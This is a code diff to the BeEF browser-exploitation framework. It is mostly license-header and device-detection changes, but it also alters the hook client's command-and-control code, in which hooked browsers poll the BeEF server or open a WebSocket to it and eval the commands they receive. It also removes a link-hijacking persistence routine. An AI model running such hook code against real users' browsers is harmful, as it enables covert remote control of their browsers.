@@ -1,18 +1,9 @@
//
-// Copyright 2012 Wade Alcorn wade@bindshell.net
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
+// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
//
+
/*!
* @literal object: beef.net.requester
*
diff --git a/core/main/client/os.js b/core/main/client/os.js
index c133edcc9..f6dfae17c 100644
--- a/core/main/client/os.js
+++ b/core/main/client/os.js
@@ -1,18 +1,9 @@
//
-// Copyright 2012 Wade Alcorn wade@bindshell.net
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
+// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
//
+
beef.os = {
ua: navigator.userAgent,
@@ -72,7 +63,11 @@ beef.os = {
isMacintosh: function() {
return (this.ua.match('(Mac_PowerPC)|(Macintosh)|(MacIntel)')) ? true : false;
},
-
+
+ isWinPhone: function() {
+ return (this.ua.match('(Windows Phone)')) ? true : false;
+ },
+
isIphone: function() {
return (this.ua.indexOf('iPhone') != -1) ? true : false;
},
@@ -97,6 +92,10 @@ beef.os = {
return (this.ua.match('BlackBerry')) ? true : false;
},
+ isWebOS: function() {
+ return (this.ua.match('webOS')) ? true : false;
+ },
+
isQNX: function() {
return (this.ua.match('QNX')) ? true : false;
},
@@ -139,11 +138,14 @@ beef.os = {
if(this.isSunOS()) return 'Sun OS';
//iPhone
- if (this.isIphone()) return 'iPhone';
+ if (this.isIphone()) return 'iOS';
//iPad
- if (this.isIpad()) return 'iPad';
+ if (this.isIpad()) return 'iOS';
//iPod
- if (this.isIpod()) return 'iPod';
+ if (this.isIpod()) return 'iOS';
+
+ // zune
+ //if (this.isZune()) return 'Zune';
//macintosh
if(this.isMacintosh()) {
@@ -156,6 +158,7 @@ beef.os = {
//others
if(this.isQNX()) return 'QNX';
if(this.isBeOS()) return 'BeOS';
+ if(this.isWebOS()) return 'webOS';
return 'unknown';
}
diff --git a/core/main/client/session.js b/core/main/client/session.js
index 040cf81a6..8dc4e6a8d 100644
--- a/core/main/client/session.js
+++ b/core/main/client/session.js
@@ -1,18 +1,9 @@
//
-// Copyright 2012 Wade Alcorn wade@bindshell.net
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
+// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
//
+
/*!
* @literal object: beef.session
*
@@ -77,26 +68,7 @@ beef.session = {
}
return hook_session_id;
- },
-
- /**
- * Overrides each link, and creates an iframe (loading the href) instead of following the link
- */
- persistent: function() {
- $j('a').click(function(e) {
- if ($j(this).attr('href') != '')
- {
- e.preventDefault();
- beef.dom.createIframe('fullscreen', 'get', {'src':$j(this).attr('href')}, {}, null);
- $j(document).attr('title', $j(this).html());
- document.body.scroll = "no";
- document.documentElement.style.overflow = 'hidden';
- }
- });
}
-
-
-
};
beef.regCmp('beef.session');
diff --git a/core/main/client/timeout.js b/core/main/client/timeout.js
new file mode 100644
index 000000000..43d875f97
--- /dev/null
+++ b/core/main/client/timeout.js
@@ -0,0 +1,17 @@
+//
+// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/*
+ Sometimes there are timing issues and looks like beef_init
+ is not called at all (always in cross-domain situations,
+ for example calling the hook with jquery getScript,
+ or sometimes with event handler injections).
+
+ To fix this, we call again beef_init after 1 second.
+ Cheers to John Wilander that discussed this bug with me at OWASP AppSec Research Greece
+ antisnatchor
+ */
+setTimeout(beef_init, 1000);
\ No newline at end of file
diff --git a/core/main/client/updater.js b/core/main/client/updater.js
index 4987de6f8..912e64b16 100644
--- a/core/main/client/updater.js
+++ b/core/main/client/updater.js
@@ -1,29 +1,20 @@
//
-// Copyright 2012 Wade Alcorn wade@bindshell.net
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
+// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
//
+
/*!
* @Literal object: beef.updater
*
* Object in charge of getting new commands from the BeEF framework and execute them.
+ * The XHR-polling channel is managed here. If WebSockets are enabled,
+ * websocket.ls is used instead.
*/
beef.updater = {
- // Low timeouts combined with the way the framework sends commamd modules result
- // in instructions being sent repeatedly or complex code.
- // If you suffer from ADHD, you can decrease this setting.
- timeout: 5000,
+ // XHR-polling timeout.
+ xhr_poll_timeout: "<%= @xhr_poll_timeout %>",
// A lock.
lock: false,
@@ -51,22 +42,22 @@ beef.updater = {
beef.net.flush();
if(beef.commands.length > 0) {
this.execute_commands();
- }
-
- else {
+ }else {
this.get_commands(); /*Polling*/
}
}
// ( typeof beef.websocket === "undefined")
- setTimeout("beef.updater.check();", beef.updater.timeout);
+ setTimeout("beef.updater.check();", beef.updater.xhr_poll_timeout);
},
- // Gets new commands from the framework.
- get_commands: function(http_response) {
+ /**
+ * Gets new commands from the framework.
+ */
+ get_commands: function() {
try {
this.lock = true;
- beef.net.request('http', 'GET', beef.net.host, beef.net.port, beef.net.hook, null, 'BEEFHOOK='+beef.session.get_hook_session_id(), 1, 'script', function(response) {
+ beef.net.request(beef.net.httpproto, 'GET', beef.net.host, beef.net.port, beef.net.hook, null, 'BEEFHOOK='+beef.session.get_hook_session_id(), 5, 'script', function(response) {
if (response.body != null && response.body.length > 0)
beef.updater.execute_commands();
});
@@ -77,13 +68,12 @@ beef.updater = {
this.lock = false;
},
- // Executes the received commands if any.
+ /**
+ * Executes the received commands, if any.
+ */
execute_commands: function() {
if(beef.commands.length == 0) return;
-
this.lock = true;
- /*here execute the command */
-
while(beef.commands.length > 0) {
command = beef.commands.pop();
try {
@@ -92,7 +82,6 @@ beef.updater = {
console.error('execute_commands - command failed to execute: ' + e.message);
}
}
-
this.lock = false;
}
};
diff --git a/core/main/client/websocket.js b/core/main/client/websocket.js
index 25ccdeeba..796980990 100644
--- a/core/main/client/websocket.js
+++ b/core/main/client/websocket.js
@@ -1,72 +1,90 @@
//
-// Copyright 2012 Wade Alcorn wade@bindshell.net
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
+// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
//
-//beef.websocket.socket.send(take answer to server beef)
-/*New browser init call this */
+
+/**
+ * @Literal object: beef.websocket
+ *
+ * Manage the WebSocket communication channel.
+ * This channel is much faster and responsive, and it's used automatically
+ * if the browser supports WebSockets AND beef.http.websocket.enable = true.
+ */
beef.websocket = {
socket:null,
- alive_timer:<%= @websocket_timer %>,
+ ws_poll_timeout: "<%= @ws_poll_timeout %>",
+ /**
+ * Initialize the WebSocket client object.
+ * Note: use WebSocketSecure only if the hooked domain is under https.
+ * Mixed-content in WS is quite different from a non-WS context.
+ */
init:function () {
var webSocketServer = beef.net.host;
- var webSocketPort = <%= @websocket_port %>;
- var webSocketSecure = <%= @websocket_secure %>;
+ var webSocketPort = "<%= @websocket_port %>";
+ var webSocketSecure = "<%= @websocket_secure %>";
var protocol = "ws://";
- if(webSocketSecure)
+ if(webSocketSecure && window.location.protocol=="https:"){
protocol = "wss://";
+ webSocketPort= "<%= @websocket_sec_port %>";
+ }
if (beef.browser.isFF() && !!window.MozWebSocket) {
beef.websocket.socket = new MozWebSocket(protocol + webSocketServer + ":" + webSocketPort + "/");
-
- } else {
+ }else{
beef.websocket.socket = new WebSocket(protocol + webSocketServer + ":" + webSocketPort + "/");
}
},
- /* send Helo message to the BeEF server and start async communication*/
+
+ /**
+ * Send Helo message to the BeEF server and start async polling.
+ */
start:function () {
new beef.websocket.init();
this.socket.onopen = function () {
- //console.log("Socket has been opened!");
-
- /*send browser id*/
beef.websocket.send('{"cookie":"' + beef.session.get_hook_session_id() + '"}');
- //console.log("Connected and Helo");
beef.websocket.alive();
- }
+ };
+
this.socket.onmessage = function (message) {
- //console.log("Received message via WS."+ message.data);
+ //todo: double-check if there is a way to don't use eval here. It's not a big deal,
+ //todo: because the eval'ed data comes from BeEF itself, so is implicitly trusted.
eval(message.data);
- }
+ };
+ this.socket.onclose = function () {
+ setTimeout(function(){beef.websocket.start()}, 5000);
+ };
},
+ /**
+ * Send data back to BeEF. This is basically the same as beef.net.send,
+ * but doesn't queue commands.
+ * Example usage:
+ * beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid +
+ * '", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) +
+ * '","callback": "' + callback + '","bh":"' + beef.session.get_hook_session_id() + '" }');
+ */
send:function (data) {
- this.socket.send(data);
-// console.log("Sent [" + data + "]");
+ try {
+ this.socket.send(data);
+ }catch(err){}
},
+ /**
+ * Polling mechanism, to notify the BeEF server that the browser is still hooked,
+ * and the WebSocket channel still alive.
+ * todo: there is probably a more efficient way to do this. Double-check WebSocket API.
+ */
alive: function (){
beef.websocket.send('{"alive":"'+beef.session.get_hook_session_id()+'"}');
-// console.log("sent alive");
- setTimeout("beef.websocket.alive()", beef.websocket.alive_timer);
-
+ setTimeout("beef.websocket.alive()", beef.websocket.ws_poll_timeout);
}
};
diff --git a/core/main/command.rb b/core/main/command.rb
index 577cd39d6..3ebd42497 100644
--- a/core/main/command.rb
+++ b/core/main/command.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
diff --git a/core/main/configuration.rb b/core/main/configuration.rb
index f2469e0f4..045dd9f62 100644
--- a/core/main/configuration.rb
+++ b/core/main/configuration.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
diff --git a/core/main/console/banners.rb b/core/main/console/banners.rb
index 3621d20e9..bdf2c72fa 100644
--- a/core/main/console/banners.rb
+++ b/core/main/console/banners.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
@@ -40,12 +30,13 @@ module Banners
def print_welcome_msg
config = BeEF::Core::Configuration.instance
version = config.get('beef.version')
- print_info "Browser Exploitation Framework (BeEF)"
- data = "Version #{version}\n"
- data += "Website http://beefproject.com\n"
- data += "Run 'beef -h' for basic help.\n"
- data += "Run 'git pull' to update to the latest revision."
+ print_info "Browser Exploitation Framework (BeEF) #{version}"
+ data = "Twit: @beefproject\n"
+ data += "Site: http://beefproject.com\n"
+ data += "Blog: http://blog.beefproject.com\n"
+ data += "Wiki: https://github.com/beefproject/beef/wiki\n"
print_more data
+ print_info "Project Creator: " + "Wade Alcorn".red + " (@WadeAlcorn)"
end
#
@@ -89,12 +80,13 @@ module Banners
def print_network_interfaces_routes
configuration = BeEF::Core::Configuration.instance
+ prototxt = configuration.get("beef.http.https.enable") == true ? "https" : "http"
self.interfaces.map do |host| # display the important URLs on each interface from the interfaces array
print_success "running on network interface: #{host}"
beef_host = configuration.get("beef.http.public_port") || configuration.get("beef.http.port")
- data = "Hook URL: http://#{host}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.hook_file")}\n"
- data += "UI URL: http://#{host}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.panel_path")}\n"
+ data = "Hook URL: #{prototxt}://#{host}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.hook_file")}\n"
+ data += "UI URL: #{prototxt}://#{host}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.panel_path")}\n"
print_more data
end
@@ -105,13 +97,12 @@ module Banners
#
def print_loaded_extensions
extensions = BeEF::Extensions.get_loaded
- print_info "#{extensions.size} extensions loaded:"
+ print_info "#{extensions.size} extensions enabled."
output = ''
-
-
- extensions.each do |key,ext|
- output += "#{ext['name']}\n"
- end
+
+ #extensions.each do |key,ext|
+ # output += "#{ext['name']}\n"
+ #end
print_more output
end
diff --git a/core/main/console/commandline.rb b/core/main/console/commandline.rb
index 1ad2fa025..7a06c52f9 100644
--- a/core/main/console/commandline.rb
+++ b/core/main/console/commandline.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
diff --git a/core/main/constants/browsers.rb b/core/main/constants/browsers.rb
index d43e156e5..e707d67e9 100644
--- a/core/main/constants/browsers.rb
+++ b/core/main/constants/browsers.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
diff --git a/core/main/constants/commandmodule.rb b/core/main/constants/commandmodule.rb
index d37cc1169..ce0f6c807 100644
--- a/core/main/constants/commandmodule.rb
+++ b/core/main/constants/commandmodule.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
diff --git a/core/main/constants/distributedengine.rb b/core/main/constants/distributedengine.rb
index ddbf8426f..8da3eb63f 100644
--- a/core/main/constants/distributedengine.rb
+++ b/core/main/constants/distributedengine.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
diff --git a/core/main/constants/hardware.rb b/core/main/constants/hardware.rb
new file mode 100644
index 000000000..272cf3396
--- /dev/null
+++ b/core/main/constants/hardware.rb
@@ -0,0 +1,79 @@
+#
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+
+module BeEF
+module Core
+module Constants
+
+ # @note The hardware's strings for hardware detection.
+ module Hardware
+
+ HW_UNKNOWN_IMG = 'pc.png'
+ HW_IPHONE_UA_STR = 'iPhone'
+ HW_IPHONE_IMG = 'iphone.jpg'
+ HW_IPAD_UA_STR = 'iPad'
+ HW_IPAD_IMG = 'ipad.png'
+ HW_IPOD_UA_STR = 'iPod'
+ HW_IPOD_IMG = 'ipod.jpg'
+ HW_BLACKBERRY_UA_STR = 'BlackBerry'
+ HW_BLACKBERRY_IMG = 'blackberry.png'
+ HW_WINPHONE_UA_STR = 'Windows Phone'
+ HW_WINPHONE_IMG = 'win.png'
+ HW_ZUNE_UA_STR = 'ZuneWP7'
+ HW_ZUNE_IMG = 'zune.gif'
+ HW_KINDLE_UA_STR = 'Kindle'
+ HW_KINDLE_IMG = 'kindle.png'
+ HW_NOKIA_UA_STR = 'Nokia'
+ HW_NOKIA_IMG = 'nokia.ico'
+ HW_HTC_UA_STR = 'HTC'
+ HW_HTC_IMG = 'htc.ico'
+ HW_MOTOROLA_UA_STR = 'motorola'
+ HW_MOTOROLA_IMG = 'motorola.png'
+ HW_GOOGLE_UA_STR = 'Nexus One'
+ HE_GOOGLE_IM = 'nexus.png'
+ HW_ERICSSON_UA_STR = 'Ericsson'
+ HW_ERICSSON_IMG = 'sony_ericsson.png'
+ HW_ALL_UA_STR = 'All'
+
+ # Attempt to match operating system string to constant
+ # @param [String] name Name of operating system
+ # @return [String] Constant name of matched operating system, returns 'ALL' if nothing are matched
+ def self.match_hardware(name)
+ case name.downcase
+ when /iphone/
+ HW_IPHONE_UA_STR
+ when /ipad/
+ HW_IPAD_UA_STR
+ when /ipod/
+ HW_IPOD_UA_STR
+ when /blackberry/
+ HW_BLACKBERRY_UA_STR
+ when /windows phone/
+ HW_WINPHONE_UA_STR
+ when /zune/
+ HW_ZUNE_UA_STR
+ when /kindle/
+ HW_KINDLE_UA_STR
+ when /nokia/
+ HW_NOKIA_UA_STR
+ when /motorola/
+ HW_MOTOROLA_UA_STR
+ when /htc/
+ HW_HTC_UA_STR
+ when /google/
+ HW_GOOGLE_UA_STR
+ when /ericsson/
+ HW_ERICSSON_UA_STR
+ else
+ 'ALL'
+ end
+ end
+
+ end
+
+end
+end
+end
diff --git a/core/main/constants/os.rb b/core/main/constants/os.rb
index 2e86f1e39..7c932f17d 100644
--- a/core/main/constants/os.rb
+++ b/core/main/constants/os.rb
@@ -1,89 +1,78 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
-module Core
-module Constants
-
- # @note The OS'es strings for os detection.
- module Os
-
- OS_UNKNOWN_IMG = 'unknown.png'
- OS_WINDOWS_UA_STR = 'Windows'
- OS_WINDOWS_IMG = 'win.png'
- OS_LINUX_UA_STR = 'Linux'
- OS_LINUX_IMG = 'linux.png'
- OS_MAC_UA_STR = 'Mac'
- OS_MAC_IMG = 'mac.png'
- OS_QNX_UA_STR = 'QNX'
- OS_QNX_IMG = 'qnx.ico'
- OS_BEOS_UA_STR = 'BeOS'
- OS_BEOS_IMG = 'beos.png'
- OS_OPENBSD_UA_STR = 'OpenBSD'
- OS_OPENBSD_IMG = 'openbsd.ico'
- OS_IPHONE_UA_STR = 'iPhone'
- OS_IPHONE_IMG = 'iphone.png'
- OS_IPAD_UA_STR = 'iPad'
- OS_IPAD_IMG = 'ipad.png'
- OS_IPOD_UA_STR = 'iPod'
- OS_IPOD_IMG = 'ipod.jpg'
- OS_MAEMO_UA_STR = 'Maemo'
- OS_MAEMO_IMG = 'maemo.ico'
- OS_BLACKBERRY_UA_STR = 'BlackBerry'
- OS_BLACKBERRY_IMG = 'blackberry.png'
- OS_ANDROID_UA_STR = 'Android'
- OS_ANDROID_IMG = 'android.png'
- OS_ALL_UA_STR = 'All'
+ module Core
+ module Constants
+
+ # @note The OS'es strings for os detection.
+ module Os
+
+ OS_UNKNOWN_IMG = 'unknown.png'
+ OS_WINDOWS_UA_STR = 'Windows'
+ OS_WINDOWS_IMG = 'win.png'
+ OS_LINUX_UA_STR = 'Linux'
+ OS_LINUX_IMG = 'linux.png'
+ OS_MAC_UA_STR = 'Mac'
+ OS_MAC_IMG = 'mac.png'
+ OS_QNX_UA_STR = 'QNX'
+ OS_QNX_IMG = 'qnx.ico'
+ OS_BEOS_UA_STR = 'BeOS'
+ OS_BEOS_IMG = 'beos.png'
+ OS_OPENBSD_UA_STR = 'OpenBSD'
+ OS_OPENBSD_IMG = 'openbsd.ico'
+ OS_IOS_UA_STR = 'iOS'
+ OS_IOS_IMG = 'ios.png'
+ OS_IPHONE_UA_STR = 'iPhone'
+ OS_WEBOS_UA_STR = 'webos.png'
+ OS_IPHONE_IMG = 'iphone.jpg'
+ OS_IPAD_UA_STR = 'iPad'
+ OS_IPAD_IMG = 'ipad.png'
+ OS_IPOD_UA_STR = 'iPod'
+ OS_IPOD_IMG = 'ipod.jpg'
+ OS_MAEMO_UA_STR = 'Maemo'
+ OS_MAEMO_IMG = 'maemo.ico'
+ OS_BLACKBERRY_UA_STR = 'BlackBerry'
+ OS_BLACKBERRY_IMG = 'blackberry.png'
+ OS_ANDROID_UA_STR = 'Android'
+ OS_ANDROID_IMG = 'android.png'
+ OS_ALL_UA_STR = 'All'
# Attempt to match operating system string to constant
# @param [String] name Name of operating system
# @return [String] Constant name of matched operating system, returns 'ALL' if nothing are matched
- def self.match_os(name)
- case name.downcase
- when /win/
- OS_WINDOWS_UA_STR
- when /lin/
- OS_LINUX_UA_STR
- when /os x/, /osx/, /mac/
- OS_MAC_UA_STR
- when /qnx/
- OS_QNX_UA_STR
- when /beos/
- OS_BEOS_UA_STR
- when /openbsd/
- OS_OPENBSD_UA_STR
- when /iphone/
- OS_IPHONE_UA_STR
- when /ipad/
- OS_IPAD_UA_STR
- when /ipod/
- OS_IPOD_UA_STR
- when /maemo/
- OS_MAEMO_UA_STR
- when /blackberry/
- OS_BLACKBERRY_UA_STR
- when /android/
- OS_ANDROID_UA_STR
- else
- 'ALL'
- end
- end
-
+ def self.match_os(name)
+ case name.downcase
+ when /win/
+ OS_WINDOWS_UA_STR
+ when /lin/
+ OS_LINUX_UA_STR
+ when /os x/, /osx/, /mac/
+ OS_MAC_UA_STR
+ when /qnx/
+ OS_QNX_UA_STR
+ when /beos/
+ OS_BEOS_UA_STR
+ when /openbsd/
+ OS_OPENBSD_UA_STR
+ when /ios/, /iphone/, /ipad/, /ipod/
+ OS_IOS_UA_STR
+ when /maemo/
+ OS_MAEMO_UA_STR
+ when /blackberry/
+ OS_BLACKBERRY_UA_STR
+ when /android/
+ OS_ANDROID_UA_STR
+ else
+ 'ALL'
+ end
+ end
+
+ end
+
+ end
end
-
-end
-end
end
diff --git a/core/main/crypto.rb b/core/main/crypto.rb
index ae81ae5e6..cfce1054a 100644
--- a/core/main/crypto.rb
+++ b/core/main/crypto.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
diff --git a/core/main/distributed_engine/models/rules.rb b/core/main/distributed_engine/models/rules.rb
index 5061f96b1..ed35791d6 100644
--- a/core/main/distributed_engine/models/rules.rb
+++ b/core/main/distributed_engine/models/rules.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
diff --git a/core/main/handlers/browserdetails.rb b/core/main/handlers/browserdetails.rb
index dfb3b8040..79c086330 100644
--- a/core/main/handlers/browserdetails.rb
+++ b/core/main/handlers/browserdetails.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
@@ -34,6 +24,9 @@ module BeEF
end
def setup()
+ print_debug "[INIT] Processing Browser Details..."
+ config = BeEF::Core::Configuration.instance
+
# validate hook session value
session_id = get_param(@data, 'beefhook')
(self.err_msg "session id is invalid"; return) if not BeEF::Filters.is_valid_hook_session_id?(session_id)
